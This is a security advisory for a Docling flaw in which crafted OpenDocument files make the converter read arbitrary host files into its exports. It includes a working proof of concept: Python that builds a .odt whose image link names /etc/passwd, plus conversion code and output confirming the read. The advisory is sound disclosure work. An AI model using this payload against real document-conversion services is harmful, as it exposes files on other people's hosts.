GHSA-4XHP-XG4W-8PPM
Vulnerability from github – Published: 2026-10-05 22:33 – Updated: 2026-10-05 22:33Summary
The ODF backend resolves the xlink:href of a draw:image element as a filesystem path whenever
the referenced part is not found inside the document archive. The value comes straight from
content.xml, so it is document content, and it is used with no scheme check, no confinement to
the extraction directory, and without consulting the enable_local_fetch / enable_remote_fetch
controls that the other backends use for exactly this decision.
Converting a crafted .odt therefore causes Docling to open an attacker-named absolute path on
the converting host. Where the target decodes as an image, its complete contents are embedded in
the resulting DoclingDocument and appear in the HTML, Markdown and JSON exports.
Both the read and the disclosure are confirmed by execution. The trigger is a 452-byte archive containing two entries.
Affected component
docling/backend/opendocument_backend.py, in _image_ref_from_odf_image:
image_url = _odf_image_href(image)
...
if image_data is None and odf_obj is not None and image_url:
try:
image_data = odf_obj.get_part(image_url)
except Exception:
image_data = None
if image_data is None and image_url:
image_path = Path(image_url)
if image_path.is_file():
image_data = image_path.read_bytes()
_odf_image_href returns the xlink:href attribute. The in-archive lookup is attempted first;
when it fails, the same string is handed to Path and read from disk.
The only filter on the way in is _odf_image_can_be_bitmap, which admits any path whose suffix is
one of .bmp, .gif, .jpeg, .jpg, .png, .tif, .tiff, .webp, or empty. The
empty-suffix case is what admits most paths of interest on a Unix host, /etc/passwd among them.
The backend does not use the project's own fetch controls
$ grep -n "enable_local_fetch\|enable_remote_fetch\|image_resource_loader" \
docling/backend/opendocument_backend.py
$
Nothing. The HTML, Markdown, EPUB and XBRL backends all resolve image resources through
docling/backend/utils/image_resource_loader.py, where enable_local_fetch and
enable_remote_fetch both default to False. The ODF backend reimplements image loading and does
not consult either, so the default of not fetching local resources is not applied on this path.
That is the substance of the report: the control exists, it is off by default, and this backend does not reach it.
Affected versions
Introduced by commit e2afe381, "feat: Add OpenDocument backend support and improve ODF
image/table handling" (#3480), 2026-06-24. First released in v2.107.0.
Affected: docling >= 2.107.0, up to and including 2.117.0 and current main
(52d8a6f24de7318a9ad4be2a7361ba93fc81a5c1).
Subsequent commits touching this file — 2c3e55b3 (skip a draw:object with a missing embedded
part), b627ca91 (preserve content inside sections), 2ec33bc7 (guard backend imports) — address
unrelated defects and leave the path resolution unchanged.
Reproduced on two independent machines:
| Python 3.12.3 | docling-slim 2.117.0, docling-core 2.88.0, odfdo 3.23.1 |
| Python 3.14.4 | same releases, and again against main clones on sys.path |
Proof of concept
Trigger
An .odt needs only mimetype and content.xml. No manifest, no styles, no embedded image part.
import zipfile
CONTENT = (
'<?xml version="1.0"?><office:document-content '
'xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" '
'xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" '
'xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" '
'xmlns:xlink="http://www.w3.org/1999/xlink" office:version="1.2">'
'<office:body><office:text><text:p>'
'<draw:frame><draw:image xlink:href="{href}"/></draw:frame>'
'</text:p></office:text></office:body></office:document-content>'
)
def build(path, href):
with zipfile.ZipFile(path, "w", zipfile.ZIP_DEFLATED) as z:
zi = zipfile.ZipInfo("mimetype", date_time=(1980, 1, 1, 0, 0, 0))
zi.compress_type = zipfile.ZIP_STORED
z.writestr(zi, "application/vnd.oasis.opendocument.text")
zi = zipfile.ZipInfo("content.xml", date_time=(1980, 1, 1, 0, 0, 0))
zi.compress_type = zipfile.ZIP_DEFLATED
z.writestr(zi, CONTENT.format(href=href))
build("odt_etc_passwd.odt", "/etc/passwd")
build("odt_control.odt", "Pictures/image1.png")
With the fixed archive timestamp above the artifacts are byte-reproducible:
| File | Bytes | sha256 |
|---|---|---|
odt_etc_passwd.odt |
452 | edf2497514fd6c03635c2f87c0d5a0981ec07dea6426363784c8c4ff2add4634 |
odt_control.odt |
458 | da5c44f9e9644051813d62de04ece84691942425afcfb463b4d1371b37a003c6 |
Without the fixed timestamp the archive size varies by a few bytes with the length of the href
string, which is the only part that changes.
Conversion — public API, default install, no options set
from pathlib import Path
from docling.document_converter import DocumentConverter
from docling_core.types.doc import ImageRefMode
doc = DocumentConverter().convert(Path("trigger.odt")).document
print(doc.export_to_html(image_mode=ImageRefMode.EMBEDDED))
The read itself is observed with sys.addaudithook, which records every open without modifying
Docling or any dependency.
A self-contained script, odf_repro.py, is attached. It creates its own canary image in a fresh
temporary directory, builds the trigger and the control, converts both, and reports the read, the
disclosure in each export format, and ten consecutive repetitions.
Output — disclosure
python 3.14.4
docling /home/asus/CVE/docling/docling/__init__.py
canary /tmp/odf_canary_eoz7_2d8/canary.png (104 B, sha256 b9c57d2dc728be7f)
trigger odf_trigger.odt (471 B, sha256 341d060294c90447)
file opened outside document : True ['/tmp/odf_canary_eoz7_2d8/canary.png', ...]
contents present in html : True
contents present in markdown : True
contents present in json : True
control (in-archive href) : disclosed=False
determinism : 10/10
----------------------------------------------------------------------
RESULT: REPRODUCED
----------------------------------------------------------------------
The canary is written outside the working tree and is never placed inside the archive. The sha256 of the base64-decoded image in the export matches the source file exactly.
The control is the ordinary ODF convention, xlink:href="Pictures/image1.png". It resolves inside
the archive and discloses nothing, through the same function. That is what separates this from
intended behaviour.
Output — read of a non-image path
The read happens before any decoding is attempted, so it is not confined to image files.
/etc/passwd status=success opened=['/etc/passwd']
/etc/does_not_exist_9c1f status=success opened=[]
Both conversions report success. Only the existing path is opened. Nothing in the conversion result distinguishes the two cases, so the difference is usable as a silent file-existence oracle against arbitrary paths.
Impact
Confirmed by execution, default install, no options set:
- Arbitrary local file read. A converted document names an absolute path and Docling opens
it. Observed for
/etc/passwdand for paths with no extension. - Silent file existence and readability oracle. Present and absent paths are distinguishable by side effect while conversion reports success either way.
- Full content disclosure. Where the target decodes as an image, its bytes are embedded in
the
DoclingDocumentand appear base64-encoded in the HTML, Markdown and JSON exports, byte for byte. The disclosure in (3) is bounded to files Pillow can decode, and I would rather state that plainly than overstate the finding. On a document-conversion host that class is not marginal: page images from other conversions, scanned documents, cached artifacts and screenshots are exactly what such a service accumulates. The project README describes "local execution capabilities for sensitive data and air-gapped environments", which is the deployment where host-side file disclosure carries the most weight.
Not demonstrated, and stated as such. I have not tested this behind docling-serve. .odt is
an accepted input format there, json is an accepted output format, and the service defaults to
binding 0.0.0.0 with DOCLING_SERVE_API_KEY unset, so on the face of it the same defect is
reachable by an unauthenticated remote caller with no user interaction. I have not run it, so I am
raising it for you to check rather than presenting it as a result.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "docling"
},
"ranges": [
{
"events": [
{
"introduced": "2.107.0"
},
{
"fixed": "2.120.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-105751"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T22:33:52Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n \nThe ODF backend resolves the `xlink:href` of a `draw:image` element as a filesystem path whenever\nthe referenced part is not found inside the document archive. The value comes straight from\n`content.xml`, so it is document content, and it is used with no scheme check, no confinement to\nthe extraction directory, and without consulting the `enable_local_fetch` / `enable_remote_fetch`\ncontrols that the other backends use for exactly this decision.\n \nConverting a crafted `.odt` therefore causes Docling to open an attacker-named absolute path on\nthe converting host. Where the target decodes as an image, its complete contents are embedded in\nthe resulting `DoclingDocument` and appear in the HTML, Markdown and JSON exports.\n \nBoth the read and the disclosure are confirmed by execution. The trigger is a 452-byte archive\ncontaining two entries.\n \n## Affected component\n \n`docling/backend/opendocument_backend.py`, in `_image_ref_from_odf_image`:\n \n```python\nimage_url = _odf_image_href(image)\n...\nif image_data is None and odf_obj is not None and image_url:\n try:\n image_data = odf_obj.get_part(image_url)\n except Exception:\n image_data = None\n \nif image_data is None and image_url:\n image_path = Path(image_url)\n if image_path.is_file():\n image_data = image_path.read_bytes()\n```\n \n`_odf_image_href` returns the `xlink:href` attribute. The in-archive lookup is attempted first;\nwhen it fails, the same string is handed to `Path` and read from disk.\n \nThe only filter on the way in is `_odf_image_can_be_bitmap`, which admits any path whose suffix is\none of `.bmp`, `.gif`, `.jpeg`, `.jpg`, `.png`, `.tif`, `.tiff`, `.webp`, **or empty**. The\nempty-suffix case is what admits most paths of interest on a Unix host, `/etc/passwd` among them.\n \n### The backend does not use the project\u0027s own fetch controls\n \n```\n$ grep -n \"enable_local_fetch\\|enable_remote_fetch\\|image_resource_loader\" \\\n docling/backend/opendocument_backend.py\n$\n```\n \nNothing. The HTML, Markdown, EPUB and XBRL backends all resolve image resources through\n`docling/backend/utils/image_resource_loader.py`, where `enable_local_fetch` and\n`enable_remote_fetch` both default to `False`. The ODF backend reimplements image loading and does\nnot consult either, so the default of not fetching local resources is not applied on this path.\n \nThat is the substance of the report: the control exists, it is off by default, and this backend\ndoes not reach it.\n \n## Affected versions\n \nIntroduced by commit `e2afe381`, \"feat: Add OpenDocument backend support and improve ODF\nimage/table handling\" (#3480), 2026-06-24. First released in **v2.107.0**.\n \n**Affected: `docling` \u003e= 2.107.0, up to and including 2.117.0 and current `main`\n(`52d8a6f24de7318a9ad4be2a7361ba93fc81a5c1`).**\n \nSubsequent commits touching this file \u2014 `2c3e55b3` (skip a `draw:object` with a missing embedded\npart), `b627ca91` (preserve content inside sections), `2ec33bc7` (guard backend imports) \u2014 address\nunrelated defects and leave the path resolution unchanged.\n \nReproduced on two independent machines:\n \n| | |\n|---|---|\n| Python 3.12.3 | `docling-slim` 2.117.0, `docling-core` 2.88.0, `odfdo` 3.23.1 |\n| Python 3.14.4 | same releases, and again against `main` clones on `sys.path` |\n \n## Proof of concept\n \n### Trigger\n \nAn `.odt` needs only `mimetype` and `content.xml`. No manifest, no styles, no embedded image part.\n \n```python\nimport zipfile\n \nCONTENT = (\n \u0027\u003c?xml version=\"1.0\"?\u003e\u003coffice:document-content \u0027\n \u0027xmlns:office=\"urn:oasis:names:tc:opendocument:xmlns:office:1.0\" \u0027\n \u0027xmlns:text=\"urn:oasis:names:tc:opendocument:xmlns:text:1.0\" \u0027\n \u0027xmlns:draw=\"urn:oasis:names:tc:opendocument:xmlns:drawing:1.0\" \u0027\n \u0027xmlns:xlink=\"http://www.w3.org/1999/xlink\" office:version=\"1.2\"\u003e\u0027\n \u0027\u003coffice:body\u003e\u003coffice:text\u003e\u003ctext:p\u003e\u0027\n \u0027\u003cdraw:frame\u003e\u003cdraw:image xlink:href=\"{href}\"/\u003e\u003c/draw:frame\u003e\u0027\n \u0027\u003c/text:p\u003e\u003c/office:text\u003e\u003c/office:body\u003e\u003c/office:document-content\u003e\u0027\n)\n \ndef build(path, href):\n with zipfile.ZipFile(path, \"w\", zipfile.ZIP_DEFLATED) as z:\n zi = zipfile.ZipInfo(\"mimetype\", date_time=(1980, 1, 1, 0, 0, 0))\n zi.compress_type = zipfile.ZIP_STORED\n z.writestr(zi, \"application/vnd.oasis.opendocument.text\")\n zi = zipfile.ZipInfo(\"content.xml\", date_time=(1980, 1, 1, 0, 0, 0))\n zi.compress_type = zipfile.ZIP_DEFLATED\n z.writestr(zi, CONTENT.format(href=href))\n \nbuild(\"odt_etc_passwd.odt\", \"/etc/passwd\")\nbuild(\"odt_control.odt\", \"Pictures/image1.png\")\n```\n \nWith the fixed archive timestamp above the artifacts are byte-reproducible:\n \n| File | Bytes | sha256 |\n|---|---|---|\n| `odt_etc_passwd.odt` | 452 | `edf2497514fd6c03635c2f87c0d5a0981ec07dea6426363784c8c4ff2add4634` |\n| `odt_control.odt` | 458 | `da5c44f9e9644051813d62de04ece84691942425afcfb463b4d1371b37a003c6` |\n \nWithout the fixed timestamp the archive size varies by a few bytes with the length of the `href`\nstring, which is the only part that changes.\n \n### Conversion \u2014 public API, default install, no options set\n \n```python\nfrom pathlib import Path\nfrom docling.document_converter import DocumentConverter\nfrom docling_core.types.doc import ImageRefMode\n \ndoc = DocumentConverter().convert(Path(\"trigger.odt\")).document\nprint(doc.export_to_html(image_mode=ImageRefMode.EMBEDDED))\n```\n \nThe read itself is observed with `sys.addaudithook`, which records every `open` without modifying\nDocling or any dependency.\n \nA self-contained script, `odf_repro.py`, is attached. It creates its own canary image in a fresh\ntemporary directory, builds the trigger and the control, converts both, and reports the read, the\ndisclosure in each export format, and ten consecutive repetitions.\n \n### Output \u2014 disclosure\n \n```\npython 3.14.4\ndocling /home/asus/CVE/docling/docling/__init__.py\ncanary /tmp/odf_canary_eoz7_2d8/canary.png (104 B, sha256 b9c57d2dc728be7f)\ntrigger odf_trigger.odt (471 B, sha256 341d060294c90447)\n \nfile opened outside document : True [\u0027/tmp/odf_canary_eoz7_2d8/canary.png\u0027, ...]\ncontents present in html : True\ncontents present in markdown : True\ncontents present in json : True\n \ncontrol (in-archive href) : disclosed=False\ndeterminism : 10/10\n \n----------------------------------------------------------------------\nRESULT: REPRODUCED\n----------------------------------------------------------------------\n```\n \nThe canary is written outside the working tree and is never placed inside the archive. The sha256\nof the base64-decoded image in the export matches the source file exactly.\n \nThe control is the ordinary ODF convention, `xlink:href=\"Pictures/image1.png\"`. It resolves inside\nthe archive and discloses nothing, through the same function. That is what separates this from\nintended behaviour.\n \n### Output \u2014 read of a non-image path\n \nThe read happens before any decoding is attempted, so it is not confined to image files.\n \n```\n/etc/passwd status=success opened=[\u0027/etc/passwd\u0027]\n/etc/does_not_exist_9c1f status=success opened=[]\n```\n \nBoth conversions report success. Only the existing path is opened. Nothing in the conversion\nresult distinguishes the two cases, so the difference is usable as a silent file-existence oracle\nagainst arbitrary paths.\n \n## Impact\n \nConfirmed by execution, default install, no options set:\n \n1. **Arbitrary local file read.** A converted document names an absolute path and Docling opens\n it. Observed for `/etc/passwd` and for paths with no extension.\n2. **Silent file existence and readability oracle.** Present and absent paths are distinguishable\n by side effect while conversion reports success either way.\n3. **Full content disclosure.** Where the target decodes as an image, its bytes are embedded in\n the `DoclingDocument` and appear base64-encoded in the HTML, Markdown and JSON exports, byte\n for byte.\nThe disclosure in (3) is bounded to files Pillow can decode, and I would rather state that plainly\nthan overstate the finding. On a document-conversion host that class is not marginal: page images\nfrom other conversions, scanned documents, cached artifacts and screenshots are exactly what such\na service accumulates. The project README describes \"local execution capabilities for sensitive\ndata and air-gapped environments\", which is the deployment where host-side file disclosure carries\nthe most weight.\n \n**Not demonstrated, and stated as such.** I have not tested this behind `docling-serve`. `.odt` is\nan accepted input format there, `json` is an accepted output format, and the service defaults to\nbinding `0.0.0.0` with `DOCLING_SERVE_API_KEY` unset, so on the face of it the same defect is\nreachable by an unauthenticated remote caller with no user interaction. I have not run it, so I am\nraising it for you to check rather than presenting it as a result.",
"id": "GHSA-4xhp-xg4w-8ppm",
"modified": "2026-10-05T22:33:52Z",
"published": "2026-10-05T22:33:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/docling-project/docling/security/advisories/GHSA-4xhp-xg4w-8ppm"
},
{
"type": "WEB",
"url": "https://github.com/docling-project/docling/pull/4015"
},
{
"type": "WEB",
"url": "https://github.com/docling-project/docling/commit/6ee9965adfc364b3696a67c825ec2f0d9cee4311"
},
{
"type": "PACKAGE",
"url": "https://github.com/docling-project/docling"
},
{
"type": "WEB",
"url": "https://github.com/docling-project/docling/releases/tag/v2.120.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Docling: Arbitrary local file read via draw:image xlink:href in the OpenDocument backend"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.